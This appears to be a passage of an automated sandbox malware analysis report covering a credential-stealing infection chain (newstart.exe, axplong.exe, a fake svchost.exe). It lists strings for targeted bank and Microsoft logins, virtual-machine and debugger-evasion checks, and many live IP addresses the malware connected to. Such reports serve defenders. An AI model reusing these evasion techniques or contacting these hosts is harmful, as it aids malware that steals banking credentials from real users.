Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Amcache.hve.8.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: Amcache.hve.8.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.8.dr	Binary or memory string: vmci.syshbin`
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.8.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Z73fDV6g4L.exe, 00000009.00000002.2110715381.0000000002F60000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000025.00000002.4024278753.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \qemu-ga.exe`,]q
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: espartu.exe, 00000027.00000002.4074861914.00000000008DC000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: SbieDll.dllzoopoimmwwgyfchdhjubqggfxglcttjmdoptvjvvxyfgytdolchycbyhqmroottsvmtoolsd.dllcmdvrt32.dllHarry JohnsonAdministrator
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: espartu.exe, 00000022.00000002.4453169253.0000000000F7A000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: SbieDll.dllzoopoimC:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exevmtoolsd.dllcmdvrt32.dllHarry JohnsonAdministrator
Source: VP2pdCInvS.exe, 0000000B.00000002.2247050964.0000000006643000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll}
Source: mlk3kK6uLZ.exe, 00000000.00000002.2042929479.000000000029F000.00000040.00000001.01000000.00000003.sdmp, axplong.exe, 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000003.00000002.2077599379.0000000000BAF000.00000040.00000001.01000000.00000007.sdmp, FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000026.00000002.4135928351.00000000013FF000.00000040.00000001.01000000.0000001F.sdmp, svchost.exe, 0000002A.00000002.4454387581.000000000064F000.00000040.00000001.01000000.00000020.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Amcache.hve.8.dr	Binary or memory string: VMware
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Freshbuild.exe, 00000016.00000003.2788834990.000000000110A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}k
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: Amcache.hve.8.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Z73fDV6g4L.exe, 00000009.00000002.2110715381.0000000002F60000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000025.00000002.4024278753.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \qemu-ga.exe@\]q
Source: axplong.exe, 00000002.00000002.4458206583.00000000015C0000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.4458206583.00000000015FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.3724002684.000001AA92254000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4103315293.0000027EC0EC1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102771346.0000027EC0E2B000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000002.2813138912.00000000032D7000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003333000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2727217159.000001662821E000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2726801236.00000166281AC000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000003.2725143849.000001662821E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ZharkBOT.exe, 0000001D.00000002.3902836498.00000000003B9000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ;0SbieDll.dllzoopoimmwwgyfchdhjubqggfxglcttjmdoptvjvvxyfgytdolchycbyhqmroottsvmtoolsd.dllcmdvrt32.dllHarry JohnsonAdministrator\|
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: espartu.exe, 00000027.00000002.4074861914.00000000008DC000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: vmtoolsd.dll
Source: Amcache.hve.8.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.00000000032D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware_
Source: Amcache.hve.8.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.8.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.8.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.00000000032D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Amcache.hve.8.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.8.dr	Binary or memory string: VMware VMCI Bus Device
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.8.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: build16666.exe, 00000015.00000002.2727217159.000001662821E000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000003.2725143849.000001662821E000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000003.2724419928.000001662821E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW:
Source: Amcache.hve.8.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.8.dr	Binary or memory string: VMware, Inc.
Source: svchost.exe, 0000000C.00000002.3723322597.000001AA8CA2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp{%
Source: Amcache.hve.8.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.8.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Amcache.hve.8.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.8.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: newstart.exe, 00000019.00000002.3935728996.000000000145F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.4459079452.00000000016D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Amcache.hve.8.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.8.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x

Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	File opened: NTICE
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	File opened: SICE
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process queried: DebugPort
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process queried: DebugPort
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe

Code function: 0_2_05030CF0 rdtsc

0_2_05030CF0

Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe

Code function: 4_2_00AB2CC3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

4_2_00AB2CC3

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_009F643B mov eax, dword ptr fs:[00000030h]	2_2_009F643B
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_009FA1A2 mov eax, dword ptr fs:[00000030h]	2_2_009FA1A2
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: 4_2_00AB9BB2 mov eax, dword ptr fs:[00000030h]	4_2_00AB9BB2
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: 4_2_00AB6A6E mov ecx, dword ptr fs:[00000030h]	4_2_00AB6A6E
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: 4_2_00AB9BF6 mov eax, dword ptr fs:[00000030h]	4_2_00AB9BF6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0041914C mov eax, dword ptr fs:[00000030h]	5_2_0041914C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004114A6 mov ecx, dword ptr fs:[00000030h]	5_2_004114A6
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Code function: 18_2_6C3B9CE0 mov eax, dword ptr fs:[00000030h]	18_2_6C3B9CE0

Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe

Code function: 4_2_00AC2EE6 GetProcessHeap,

4_2_00AC2EE6

Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: 4_2_00AAB896 SetUnhandledExceptionFilter,	4_2_00AAB896
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: 4_2_00AAB9A5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00AAB9A5
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: 4_2_00AB2CC3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00AB2CC3
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: 4_2_00AAB73A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00AAB73A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00407B01 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00407B01
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00407C63 SetUnhandledExceptionFilter,	5_2_00407C63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00407D75 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00407D75
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0040DD78 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_0040DD78
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Code function: 18_2_6C38FD01 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	18_2_6C38FD01
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Code function: 18_2_6C393DB6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_6C393DB6
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Code function: 18_2_6C3901DA IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_6C3901DA

Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 171.217.69.113 10800
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 170.106.76.24 21707
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 166.0.235.52 35104
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 137.53.152.220 8080
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 45.128.133.141 1080
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 184.178.172.5 15303
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 107.152.98.5 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 46.8.60.2 1080
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 72.10.160.172 10425
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 199.102.104.70 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 104.31.138.26 80
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 47.121.183.107 3128
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 177.126.86.78 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 113.161.210.60 4153
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 47.121.182.88 8081
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 67.227.158.154 80
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 177.39.193.109 3128
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 218.201.21.154 83
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 75.119.145.154 37347
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 8.213.156.191 9080
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 135.148.10.161 19212
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 198.157.68.47 1337
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 197.98.201.15 10909
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 115.178.181.15 8081
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 67.43.236.20 12797
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 103.152.112.234 80
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 190.109.72.25 33633
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 43.129.195.235 8118
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 104.36.166.42 15832
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 185.32.47.105 4153
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 72.37.216.68 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 182.253.246.213 4153
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 188.209.246.243 1080
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 149.62.193.91 4153
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 184.181.217.201 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 172.135.136.144 8081
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 194.44.74.118 1080
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 72.10.164.178 2679
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 45.79.189.110 35723
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 162.241.45.22 42021
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 103.182.52.159 5678
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 20.247.104.85 39918
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 38.57.3.54 46235
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 103.141.189.62 5678
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 81.12.169.254 4153
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 174.64.199.82 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 192.111.139.163 19404
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 192.111.138.29 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 27.123.3.141 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 57.139.102.111 22
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 103.111.22.65 58563
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 176.112.96.2 3629
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 129.126.65.78 4153
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 31.200.242.201 12196
